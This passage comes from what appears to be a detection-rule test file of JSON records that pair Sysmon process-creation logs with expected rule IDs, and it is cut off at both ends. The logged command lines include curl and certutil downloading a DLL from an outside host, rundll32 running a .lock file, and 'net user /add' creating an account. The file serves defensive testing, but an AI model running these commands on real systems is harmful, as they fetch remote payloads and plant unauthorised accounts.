"C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe", "win.eventdata.parentProcessGuid": "{1f43d37e-0bf7-6180-6602-000000001d00}", "win.eventdata.parentProcessId": "5712", "win.eventdata.processGuid": "{1f43d37e-0c6b-6180-8402-000000001d00}", "win.eventdata.processId": "3036", "win.eventdata.product": "Microsoft® Windows® Operating System", "win.eventdata.ruleName": "technique_id=T1086,technique_name=PowerShell", "win.eventdata.terminalSessionId": "1", "win.eventdata.user": "DC\\\\workstation1", "win.eventdata.utcTime": "2021-11-01 15:48:59.834", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "Workstation1.dc.local", "win.system.eventID": "1", "win.system.eventRecordID": "112420", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2284", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-11-01T15:48:59.8371735Z", "win.system.task": "1", "win.system.threadID": "3152", "win.system.version": "5"}, "field_names": ["win.eventdata.commandLine", "win.eventdata.company", "win.eventdata.currentDirectory", "win.eventdata.description", "win.eventdata.fileVersion", "win.eventdata.hashes", "win.eventdata.image", "win.eventdata.integrityLevel", "win.eventdata.logonGuid", "win.eventdata.logonId", "win.eventdata.originalFileName", "win.eventdata.parentCommandLine", "win.eventdata.parentImage", "win.eventdata.parentProcessGuid", "win.eventdata.parentProcessId", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.product", "win.eventdata.ruleName", "win.eventdata.terminalSessionId", "win.eventdata.user", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92073", "rule_matches_expected": false, "ini_file": "sysmon_eid_1.ini", "section": "Powershell executing certutil to decode a file"} +{"log": "{ \"win\": { \"eventdata\": { \"originalFileName\": \"RUNDLL32.EXE\", \"image\": \"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\rundll32.exe\", \"product\": \"Microsoft® Windows® Operating System\", \"parentProcessGuid\": \"{1f43d37e-0288-6189-6100-000000002100}\", \"description\": \"Windows host process (Rundll32)\", \"logonGuid\": \"{1f43d37e-0244-6189-6939-060000000000}\", \"parentCommandLine\": \"C:\\\\\\\\Windows\\\\\\\\Explorer.EXE\", \"processGuid\": \"{1f43d37e-02c3-6189-8200-000000002100}\", \"logonId\": \"0x63969\", \"parentProcessId\": \"2476\", \"processId\": \"4272\", \"currentDirectory\": \"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\\", \"utcTime\": \"2021-11-08 10:58:11.816\", \"hashes\": \"SHA1=DD399AE46303343F9F0DA189AEE11C67BD868222,MD5=EF3179D498793BF4234F708D3BE28633,SHA256=B53F3C0CD32D7F20849850768DA6431E5F876B7BFA61DB0AA0700B02873393FA,IMPHASH=4DB27267734D1576D75C991DC70F68AC\", \"parentImage\": \"C:\\\\\\\\Windows\\\\\\\\explorer.exe\", \"ruleName\": \"technique_id=T1204,technique_name=User Execution\", \"company\": \"Microsoft Corporation\", \"commandLine\": \"\\\\\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\rundll32.exe\\\\\\\" C:\\\\\\\\Users\\\\\\\\workstation1\\\\\\\\AppData\\\\\\\\Roaming\\\\\\\\Microsoft\\\\\\\\kxwn.lock,VoidFunc\", \"integrityLevel\": \"Medium\", \"fileVersion\": \"10.0.19041.746 (WinBuild.160101.0800)\", \"user\": \"DC\\\\\\\\workstation1\", \"terminalSessionId\": \"1\" }, \"system\": { \"eventID\": \"1\", \"keywords\": \"0x8000000000000000\", \"providerGuid\": \"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\", \"level\": \"4\", \"channel\": \"Microsoft-Windows-Sysmon/Operational\", \"opcode\": \"0\", \"message\": \"\\\"Process Create:\\r\\nRuleName: technique_id=T1204,technique_name=User Execution\\r\\nUtcTime: 2021-11-08 10:58:11.816\\r\\nProcessGuid: {1f43d37e-02c3-6189-8200-000000002100}\\r\\nProcessId: 4272\\r\\nImage: C:\\\\Windows\\\\System32\\\\rundll32.exe\\r\\nFileVersion: 10.0.19041.746 (WinBuild.160101.0800)\\r\\nDescription: Windows host process (Rundll32)\\r\\nProduct: Microsoft® Windows® Operating System\\r\\nCompany: Microsoft Corporation\\r\\nOriginalFileName: RUNDLL32.EXE\\r\\nCommandLine: \\\"C:\\\\Windows\\\\System32\\\\rundll32.exe\\\" C:\\\\Users\\\\workstation1\\\\AppData\\\\Roaming\\\\Microsoft\\\\kxwn.lock,VoidFunc\\r\\nCurrentDirectory: C:\\\\Windows\\\\system32\\\\\\r\\nUser: DC\\\\workstation1\\r\\nLogonGuid: {1f43d37e-0244-6189-6939-060000000000}\\r\\nLogonId: 0x63969\\r\\nTerminalSessionId: 1\\r\\nIntegrityLevel: Medium\\r\\nHashes: SHA1=DD399AE46303343F9F0DA189AEE11C67BD868222,MD5=EF3179D498793BF4234F708D3BE28633,SHA256=B53F3C0CD32D7F20849850768DA6431E5F876B7BFA61DB0AA0700B02873393FA,IMPHASH=4DB27267734D1576D75C991DC70F68AC\\r\\nParentProcessGuid: {1f43d37e-0288-6189-6100-000000002100}\\r\\nParentProcessId: 2476\\r\\nParentImage: C:\\\\Windows\\\\explorer.exe\\r\\nParentCommandLine: C:\\\\Windows\\\\Explorer.EXE\\\"\", \"version\": \"5\", \"systemTime\": \"2021-11-08T10:58:12.3979760Z\", \"eventRecordID\": \"142015\", \"threadID\": \"3304\", \"computer\": \"Workstation1.dc.local\", \"task\": \"1\", \"processID\": \"2252\", \"severityValue\": \"INFORMATION\", \"providerName\": \"Microsoft-Windows-Sysmon\" } } }", "decoder": "json", "parent": "", "fields": {"win.eventdata.commandLine": "\\\"C:\\\\Windows\\\\System32\\\\rundll32.exe\\\" C:\\\\Users\\\\workstation1\\\\AppData\\\\Roaming\\\\Microsoft\\\\kxwn.lock,VoidFunc", "win.eventdata.company": "Microsoft Corporation", "win.eventdata.currentDirectory": "C:\\\\Windows\\\\system32\\\\", "win.eventdata.description": "Windows host process (Rundll32)", "win.eventdata.fileVersion": "10.0.19041.746 (WinBuild.160101.0800)", "win.eventdata.hashes": "SHA1=DD399AE46303343F9F0DA189AEE11C67BD868222,MD5=EF3179D498793BF4234F708D3BE28633,SHA256=B53F3C0CD32D7F20849850768DA6431E5F876B7BFA61DB0AA0700B02873393FA,IMPHASH=4DB27267734D1576D75C991DC70F68AC", "win.eventdata.image": "C:\\\\Windows\\\\System32\\\\rundll32.exe", "win.eventdata.integrityLevel": "Medium", "win.eventdata.logonGuid": "{1f43d37e-0244-6189-6939-060000000000}", "win.eventdata.logonId": "0x63969", "win.eventdata.originalFileName": "RUNDLL32.EXE", "win.eventdata.parentCommandLine": "C:\\\\Windows\\\\Explorer.EXE", "win.eventdata.parentImage": "C:\\\\Windows\\\\explorer.exe", "win.eventdata.parentProcessGuid": "{1f43d37e-0288-6189-6100-000000002100}", "win.eventdata.parentProcessId": "2476", "win.eventdata.processGuid": "{1f43d37e-02c3-6189-8200-000000002100}", "win.eventdata.processId": "4272", "win.eventdata.product": "Microsoft® Windows® Operating System", "win.eventdata.ruleName": "technique_id=T1204,technique_name=User Execution", "win.eventdata.terminalSessionId": "1", "win.eventdata.user": "DC\\\\workstation1", "win.eventdata.utcTime": "2021-11-08 10:58:11.816", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "Workstation1.dc.local", "win.system.eventID": "1", "win.system.eventRecordID": "142015", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2252", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-11-08T10:58:12.3979760Z", "win.system.task": "1", "win.system.threadID": "3304", "win.system.version": "5"}, "field_names": ["win.eventdata.commandLine", "win.eventdata.company", "win.eventdata.currentDirectory", "win.eventdata.description", "win.eventdata.fileVersion", "win.eventdata.hashes", "win.eventdata.image", "win.eventdata.integrityLevel", "win.eventdata.logonGuid", "win.eventdata.logonId", "win.eventdata.originalFileName", "win.eventdata.parentCommandLine", "win.eventdata.parentImage", "win.eventdata.parentProcessGuid", "win.eventdata.parentProcessId", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.product", "win.eventdata.ruleName", "win.eventdata.terminalSessionId", "win.eventdata.user", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92076", "rule_matches_expected": false, "ini_file": "sysmon_eid_1.ini", "section": "Rundll32 executing suspicious .lock file, possible persistence tactic"} +{"log": "{ \"win\": { \"eventdata\": { \"originalFileName\": \"net1.exe\", \"image\": \"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\net1.exe\", \"product\": \"Microsoft® Windows® Operating System\", \"parentProcessGuid\": \"{94f48244-67eb-6189-f100-000000002800}\", \"description\": \"Net Command\", \"logonGuid\": \"{94f48244-6579-6189-296f-1f0000000000}\", \"parentCommandLine\": \"\\\\\\\"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\net.exe\\\\\\\" user /add toby pamBeesly<3\", \"processGuid\": \"{94f48244-67eb-6189-f300-000000002800}\", \"logonId\": \"0x1f6f29\", \"parentProcessId\": \"2820\", \"processId\": \"5668\", \"currentDirectory\": \"C:\\\\\\\\Users\\\\\\\\itadmin\\\\\\\\Documents\\\\\\\\\", \"utcTime\": \"2021-11-08 18:09:47.315\", \"hashes\": \"SHA1=FA29205A40D3CBC69946784946C75EB66AFD9950,MD5=BA0BCCC6029FBBE6D8B41197F252742F,SHA256=253E6148EC7A95EA3950E032F9DEF1EC7C0E0CD172CC6D770D2807A64FC4A7CA,IMPHASH=41DBA1AF77E1A2260F0CE46D59ADCB5E\", \"parentImage\": \"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\net.exe\", \"ruleName\": \"technique_id=T1018,technique_name=Remote System Discovery\", \"company\": \"Microsoft Corporation\", \"commandLine\": \"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\net1 user /add toby pamBeesly<3\", \"integrityLevel\": \"High\", \"fileVersion\": \"10.0.19041.844 (WinBuild.160101.0800)\", \"user\": \"XRISBARNEY\\\\\\\\itadmin\", \"terminalSessionId\": \"0\" }, \"system\": { \"eventID\": \"1\", \"keywords\": \"0x8000000000000000\", \"providerGuid\": \"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\", \"level\": \"4\", \"channel\": \"Microsoft-Windows-Sysmon/Operational\", \"opcode\": \"0\", \"message\": \"\\\"Process Create:\\r\\nRuleName: technique_id=T1018,technique_name=Remote System Discovery\\r\\nUtcTime: 2021-11-08 18:09:47.315\\r\\nProcessGuid: {94f48244-67eb-6189-f300-000000002800}\\r\\nProcessId: 5668\\r\\nImage: C:\\\\Windows\\\\System32\\\\net1.exe\\r\\nFileVersion: 10.0.19041.844 (WinBuild.160101.0800)\\r\\nDescription: Net Command\\r\\nProduct: Microsoft® Windows® Operating System\\r\\nCompany: Microsoft Corporation\\r\\nOriginalFileName: net1.exe\\r\\nCommandLine: C:\\\\Windows\\\\system32\\\\net1 user /add toby pamBeesly<3\\r\\nCurrentDirectory: C:\\\\Users\\\\itadmin\\\\Documents\\\\\\r\\nUser: XRISBARNEY\\\\itadmin\\r\\nLogonGuid: {94f48244-6579-6189-296f-1f0000000000}\\r\\nLogonId: 0x1F6F29\\r\\nTerminalSessionId: 0\\r\\nIntegrityLevel: High\\r\\nHashes: SHA1=FA29205A40D3CBC69946784946C75EB66AFD9950,MD5=BA0BCCC6029FBBE6D8B41197F252742F,SHA256=253E6148EC7A95EA3950E032F9DEF1EC7C0E0CD172CC6D770D2807A64FC4A7CA,IMPHASH=41DBA1AF77E1A2260F0CE46D59ADCB5E\\r\\nParentProcessGuid: {94f48244-67eb-6189-f100-000000002800}\\r\\nParentProcessId: 2820\\r\\nParentImage: C:\\\\Windows\\\\System32\\\\net.exe\\r\\nParentCommandLine: \\\"C:\\\\Windows\\\\system32\\\\net.exe\\\" user /add toby pamBeesly<3\\\"\", \"version\": \"5\", \"systemTime\": \"2021-11-08T18:09:47.3258421Z\", \"eventRecordID\": \"202606\", \"threadID\": \"3660\", \"computer\": \"apt29w1.xrisbarney.local\", \"task\": \"1\", \"processID\": \"2380\", \"severityValue\": \"INFORMATION\", \"providerName\": \"Microsoft-Windows-Sysmon\" } } }", "decoder": "json", "parent": "", "fields": {"win.eventdata.commandLine": "C:\\\\Windows\\\\system32\\\\net1 user /add toby pamBeesly<3", "win.eventdata.company": "Microsoft Corporation", "win.eventdata.currentDirectory": "C:\\\\Users\\\\itadmin\\\\Documents\\\\", "win.eventdata.description": "Net Command", "win.eventdata.fileVersion": "10.0.19041.844 (WinBuild.160101.0800)", "win.eventdata.hashes": "SHA1=FA29205A40D3CBC69946784946C75EB66AFD9950,MD5=BA0BCCC6029FBBE6D8B41197F252742F,SHA256=253E6148EC7A95EA3950E032F9DEF1EC7C0E0CD172CC6D770D2807A64FC4A7CA,IMPHASH=41DBA1AF77E1A2260F0CE46D59ADCB5E", "win.eventdata.image": "C:\\\\Windows\\\\System32\\\\net1.exe", "win.eventdata.integrityLevel": "High", "win.eventdata.logonGuid": "{94f48244-6579-6189-296f-1f0000000000}", "win.eventdata.logonId": "0x1f6f29", "win.eventdata.originalFileName": "net1.exe", "win.eventdata.parentCommandLine": "\\\"C:\\\\Windows\\\\system32\\\\net.exe\\\" user /add toby pamBeesly<3", "win.eventdata.parentImage": "C:\\\\Windows\\\\System32\\\\net.exe", "win.eventdata.parentProcessGuid": "{94f48244-67eb-6189-f100-000000002800}", "win.eventdata.parentProcessId": "2820", "win.eventdata.processGuid": "{94f48244-67eb-6189-f300-000000002800}", "win.eventdata.processId": "5668", "win.eventdata.product": "Microsoft® Windows® Operating System", "win.eventdata.ruleName": "technique_id=T1018,technique_name=Remote System Discovery", "win.eventdata.terminalSessionId": "0", "win.eventdata.user": "XRISBARNEY\\\\itadmin", "win.eventdata.utcTime": "2021-11-08 18:09:47.315", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "apt29w1.xrisbarney.local", "win.system.eventID": "1", "win.system.eventRecordID": "202606", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2380", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-11-08T18:09:47.3258421Z", "win.system.task": "1", "win.system.threadID": "3660", "win.system.version": "5"}, "field_names": ["win.eventdata.commandLine", "win.eventdata.company", "win.eventdata.currentDirectory", "win.eventdata.description", "win.eventdata.fileVersion", "win.eventdata.hashes", "win.eventdata.image", "win.eventdata.integrityLevel", "win.eventdata.logonGuid", "win.eventdata.logonId", "win.eventdata.originalFileName", "win.eventdata.parentCommandLine", "win.eventdata.parentImage", "win.eventdata.parentProcessGuid", "win.eventdata.parentProcessId", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.product", "win.eventdata.ruleName", "win.eventdata.terminalSessionId", "win.eventdata.user", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92040", "rule_matches_expected": false, "ini_file": "sysmon_eid_1.ini", "section": "net.exe executed a user creation command"} +{"log": "{ \"win\": { \"eventdata\": { \"originalFileName\": \"curl.exe\", \"image\": \"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\curl.exe\", \"product\": \"The curl executable\", \"parentProcessGuid\": \"{94f48244-a224-618a-c400-000000002900}\", \"description\": \"The curl executable\", \"logonGuid\": \"{94f48244-a16b-618a-b5d0-110000000000}\", \"parentCommandLine\": \"\\\\\\\"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\cmd.exe\\\\\\\"\", \"processGuid\": \"{94f48244-a252-618a-c800-000000002900}\", \"logonId\": \"0x11d0b5\", \"parentProcessId\": \"5732\", \"processId\": \"2832\", \"currentDirectory\": \"C:\\\\\\\\Users\\\\\\\\itadmin\\\\\\\\Desktop\\\\\\\\\", \"utcTime\": \"2021-11-09 16:31:14.567\", \"hashes\": \"SHA1=086F74A35D5AFED78AE50CF5586FAFFFB7845464,MD5=1C3645EBDDBE2DA6A32A5F9FB43A3C23,SHA256=0BA1C44D0EE5B34B45B449074CDA51624150DC16B3B3C38251DF6C052ADBA205,IMPHASH=2447B641444AC52A5B600C8801CE3532\", \"parentImage\": \"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe\", \"ruleName\": \"technique_id=T1059,technique_name=Command-Line Interface\", \"company\": \"curl, https://curl.haxx.se/\", \"commandLine\": \"curl https://pastorcryptograph.at/3/sdd.dll -o compile.dll\", \"integrityLevel\": \"Medium\", \"fileVersion\": \"7.55.1\", \"user\": \"XRISBARNEY\\\\\\\\itadmin\", \"terminalSessionId\": \"1\" }, \"system\": { \"eventID\": \"1\", \"keywords\": \"0x8000000000000000\", \"providerGuid\": \"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\", \"level\": \"4\", \"channel\": \"Microsoft-Windows-Sysmon/Operational\", \"opcode\": \"0\", \"message\": \"\\\"Process Create:\\r\\nRuleName: technique_id=T1059,technique_name=Command-Line Interface\\r\\nUtcTime: 2021-11-09 16:31:14.567\\r\\nProcessGuid: {94f48244-a252-618a-c800-000000002900}\\r\\nProcessId: 2832\\r\\nImage: C:\\\\Windows\\\\System32\\\\curl.exe\\r\\nFileVersion: 7.55.1\\r\\nDescription: The curl executable\\r\\nProduct: The curl executable\\r\\nCompany: curl, https://curl.haxx.se/\\r\\nOriginalFileName: curl.exe\\r\\nCommandLine: curl https://pastorcryptograph.at/3/sdd.dll -o compile.dll\\r\\nCurrentDirectory: C:\\\\Users\\\\itadmin\\\\Desktop\\\\\\r\\nUser: XRISBARNEY\\\\itadmin\\r\\nLogonGuid: {94f48244-a16b-618a-b5d0-110000000000}\\r\\nLogonId: 0x11D0B5\\r\\nTerminalSessionId: 1\\r\\nIntegrityLevel: Medium\\r\\nHashes: SHA1=086F74A35D5AFED78AE50CF5586FAFFFB7845464,MD5=1C3645EBDDBE2DA6A32A5F9FB43A3C23,SHA256=0BA1C44D0EE5B34B45B449074CDA51624150DC16B3B3C38251DF6C052ADBA205,IMPHASH=2447B641444AC52A5B600C8801CE3532\\r\\nParentProcessGuid: {94f48244-a224-618a-c400-000000002900}\\r\\nParentProcessId: 5732\\r\\nParentImage: C:\\\\Windows\\\\System32\\\\cmd.exe\\r\\nParentCommandLine: \\\"C:\\\\Windows\\\\system32\\\\cmd.exe\\\" \\\"\", \"version\": \"5\", \"systemTime\": \"2021-11-09T16:31:14.5759152Z\", \"eventRecordID\": \"213853\", \"threadID\": \"3060\", \"computer\": \"apt29w1.xrisbarney.local\", \"task\": \"1\", \"processID\": \"2468\", \"severityValue\": \"INFORMATION\", \"providerName\": \"Microsoft-Windows-Sysmon\" } } }", "decoder": "json", "parent": "", "fields": {"win.eventdata.commandLine": "curl https://pastorcryptograph.at/3/sdd.dll -o compile.dll", "win.eventdata.company": "curl, https://curl.haxx.se/", "win.eventdata.currentDirectory": "C:\\\\Users\\\\itadmin\\\\Desktop\\\\", "win.eventdata.description": "The curl executable", "win.eventdata.fileVersion": "7.55.1", "win.eventdata.hashes": "SHA1=086F74A35D5AFED78AE50CF5586FAFFFB7845464,MD5=1C3645EBDDBE2DA6A32A5F9FB43A3C23,SHA256=0BA1C44D0EE5B34B45B449074CDA51624150DC16B3B3C38251DF6C052ADBA205,IMPHASH=2447B641444AC52A5B600C8801CE3532", "win.eventdata.image": "C:\\\\Windows\\\\System32\\\\curl.exe", "win.eventdata.integrityLevel": "Medium", "win.eventdata.logonGuid": "{94f48244-a16b-618a-b5d0-110000000000}", "win.eventdata.logonId": "0x11d0b5", "win.eventdata.originalFileName": "curl.exe", "win.eventdata.parentCommandLine": "\\\"C:\\\\Windows\\\\system32\\\\cmd.exe\\\"", "win.eventdata.parentImage": "C:\\\\Windows\\\\System32\\\\cmd.exe", "win.eventdata.parentProcessGuid": "{94f48244-a224-618a-c400-000000002900}", "win.eventdata.parentProcessId": "5732", "win.eventdata.processGuid": "{94f48244-a252-618a-c800-000000002900}", "win.eventdata.processId": "2832", "win.eventdata.product": "The curl executable", "win.eventdata.ruleName": "technique_id=T1059,technique_name=Command-Line Interface", "win.eventdata.terminalSessionId": "1", "win.eventdata.user": "XRISBARNEY\\\\itadmin", "win.eventdata.utcTime": "2021-11-09 16:31:14.567", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "apt29w1.xrisbarney.local", "win.system.eventID": "1", "win.system.eventRecordID": "213853", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2468", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-11-09T16:31:14.5759152Z", "win.system.task": "1", "win.system.threadID": "3060", "win.system.version": "5"}, "field_names": ["win.eventdata.commandLine", "win.eventdata.company", "win.eventdata.currentDirectory", "win.eventdata.description", "win.eventdata.fileVersion", "win.eventdata.hashes", "win.eventdata.image", "win.eventdata.integrityLevel", "win.eventdata.logonGuid", "win.eventdata.logonId", "win.eventdata.originalFileName", "win.eventdata.parentCommandLine", "win.eventdata.parentImage", "win.eventdata.parentProcessGuid", "win.eventdata.parentProcessId", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.product", "win.eventdata.ruleName", "win.eventdata.terminalSessionId", "win.eventdata.user", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92074", "rule_matches_expected": false, "ini_file": "sysmon_eid_1.ini", "section": "curl.exe launched from powershell created a binary file"} +{"log": "{ \"win\": { \"eventdata\": { \"originalFileName\": \"CertUtil.exe\", \"image\": \"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\certutil.exe\", \"product\": \"Microsoft® Windows® Operating System\", \"parentProcessGuid\": \"{94f48244-a224-618a-c400-000000002900}\", \"description\": \"CertUtil.exe\", \"logonGuid\": \"{94f48244-a16b-618a-b5d0-110000000000}\", \"parentCommandLine\": \"\\\\\\\"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\cmd.exe\\\\\\\"\", \"processGuid\": \"{94f48244-ce01-618b-dc02-000000002900}\", \"logonId\": \"0x11d0b5\", \"parentProcessId\": \"5732\", \"processId\": \"5724\", \"currentDirectory\": \"C:\\\\\\\\Users\\\\\\\\itadmin\\\\\\\\Desktop\\\\\\\\\", \"utcTime\": \"2021-11-10 13:49:53.198\", \"hashes\": \"SHA1=70E89852F023AB7CDE0173EDA1208DBB580F1E4F,MD5=BD8D9943A9B1DEF98EB83E0FA48796C2,SHA256=8DE7B4EB1301D6CBE4EA2C8D13B83280453EB64E3B3C80756BBD1560D65CA4D2,IMPHASH=7B7F7ED372C027216AE5100589C424EA\", \"parentImage\": \"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe\", \"ruleName\": \"technique_id=T1059,technique_name=Command-Line Interface\", \"company\": \"Microsoft Corporation\", \"commandLine\": \"certutil.exe -urlcache -f https://pastorcryptograph.at/3/sdd.dll compile.dll\", \"integrityLevel\": \"Medium\", \"fileVersion\": \"10.0.19041.1 (WinBuild.160101.0800)\", \"user\": \"XRISBARNEY\\\\\\\\itadmin\", \"terminalSessionId\": \"1\" }, \"system\": { \"eventID\": \"1\", \"keywords\": \"0x8000000000000000\", \"providerGuid\": \"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\", \"level\": \"4\", \"channel\": \"Microsoft-Windows-Sysmon/Operational\", \"opcode\": \"0\", \"message\": \"\\\"Process Create:\\r\\nRuleName: technique_id=T1059,technique_name=Command-Line Interface\\r\\nUtcTime: 2021-11-10 13:49:53.198\\r\\nProcessGuid: {94f48244-ce01-618b-dc02-000000002900}\\r\\nProcessId: 5724\\r\\nImage: C:\\\\Windows\\\\System32\\\\certutil.exe\\r\\nFileVersion: 10.0.19041.1 (WinBuild.160101.0800)\\r\\nDescription: CertUtil.exe\\r\\nProduct: Microsoft® Windows® Operating System\\r\\nCompany: Microsoft Corporation\\r\\nOriginalFileName: CertUtil.exe\\r\\nCommandLine: certutil.exe -urlcache -f https://pastorcryptograph.at/3/sdd.dll compile.dll\\r\\nCurrentDirectory: C:\\\\Users\\\\itadmin\\\\Desktop\\\\\\r\\nUser: XRISBARNEY\\\\itadmin\\r\\nLogonGuid: {94f48244-a16b-618a-b5d0-110000000000}\\r\\nLogonId: 0x11D0B5\\r\\nTerminalSessionId: 1\\r\\nIntegrityLevel: Medium\\r\\nHashes: SHA1=70E89852F023AB7CDE0173EDA1208DBB580F1E4F,MD5=BD8D9943A9B1DEF98EB83E0FA48796C2,SHA256=8DE7B4EB1301D6CBE4EA2C8D13B83280453EB64E3B3C80756BBD1560D65CA4D2,IMPHASH=7B7F7ED372C027216AE5100589C424EA\\r\\nParentProcessGuid: {94f48244-a224-618a-c400-000000002900}\\r\\nParentProcessId: 5732\\r\\nParentImage: C:\\\\Windows\\\\System32\\\\cmd.exe\\r\\nParentCommandLine: \\\"C:\\\\Windows\\\\system32\\\\cmd.exe\\\" \\\"\", \"version\": \"5\", \"systemTime\": \"2021-11-10T13:49:53.2469397Z\", \"eventRecordID\": \"223050\", \"threadID\": \"3060\", \"computer\": \"apt29w1.xrisbarney.local\", \"task\": \"1\", \"processID\": \"2468\", \"severityValue\": \"INFORMATION\", \"providerName\": \"Microsoft-Windows-Sysmon\" } } }", "decoder": "json", "parent": "", "fields": {"win.eventdata.commandLine": "certutil.exe -urlcache -f https://pastorcryptograph.at/3/sdd.dll compile.dll", "win.eventdata.company": "Microsoft Corporation", "win.eventdata.currentDirectory": "C:\\\\Users\\\\itadmin\\\\Desktop\\\\", "win.eventdata.description": "CertUtil.exe", "win.eventdata.fileVersion": "10.0.19041.1 (WinBuild.160101.0800)", "win.eventdata.hashes": "SHA1=70E89852F023AB7CDE0173EDA1208DBB580F1E4F,MD5=BD8D9943A9B1DEF98EB83E0FA48796C2,SHA256=8DE7B4EB1301D6CBE4EA2C8D13B83280453EB64E3B3C80756BBD1560D65CA4D2,IMPHASH=7B7F7ED372C027216AE5100589C424EA", "win.eventdata.image": "C:\\\\Windows\\\\System32\\\\certutil.exe", "win.eventdata.integrityLevel": "Medium", "win.eventdata.logonGuid": "{94f48244-a16b-618a-b5d0-110000000000}", "win.eventdata.logonId": "0x11d0b5", "win.eventdata.originalFileName": "CertUtil.exe", "win.eventdata.parentCommandLine": "\\\"C:\\\\Windows\\\\system32\\\\cmd.exe\\\"", "win.eventdata.parentImage": "C:\\\\Windows\\\\System32\\\\cmd.exe", "win.eventdata.parentProcessGuid": "{94f48244-a224-618a-c400-000000002900}", "win.eventdata.parentProcessId": "5732", "win.eventdata.processGuid": "{94f48244-ce01-618b-dc02-000000002900}", "win.eventdata.processId": "5724", "win.eventdata.product": "Microsoft® Windows® Operating System", "win.eventdata.ruleName": "technique_id=T1059,technique_name=Command-Line Interface", "win.eventdata.terminalSessionId": "1", "win.eventdata.user": "XRISBARNEY\\\\itadmin", "win.eventdata.utcTime": "2021-11-10 13:49:53.198", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "apt29w1.xrisbarney.local", "win.system.eventID": "1", "win.system.eventRecordID": "223050", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2468", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-11-10T13:49:53.2469397Z", "win.system.task": "1", "win.system.threadID": "3060", "win.system.version": "5"}, "field_names": ["win.eventdata.commandLine", "win.eventdata.company", "win.eventdata.currentDirectory", "win.eventdata.description", "win.eventdata.fileVersion", "win.eventdata.hashes", "win.eventdata.image", "win.eventdata.integrityLevel", "win.eventdata.logonGuid", "win.eventdata.logonId", "win.eventdata.originalFileName", "win.eventdata.parentCommandLine", "win.eventdata.parentImage", "win.eventdata.parentProcessGuid", "win.eventdata.parentProcessId", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.product", "win.eventdata.ruleName", "win.eventdata.terminalSessionId", "win.eventdata.user", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", 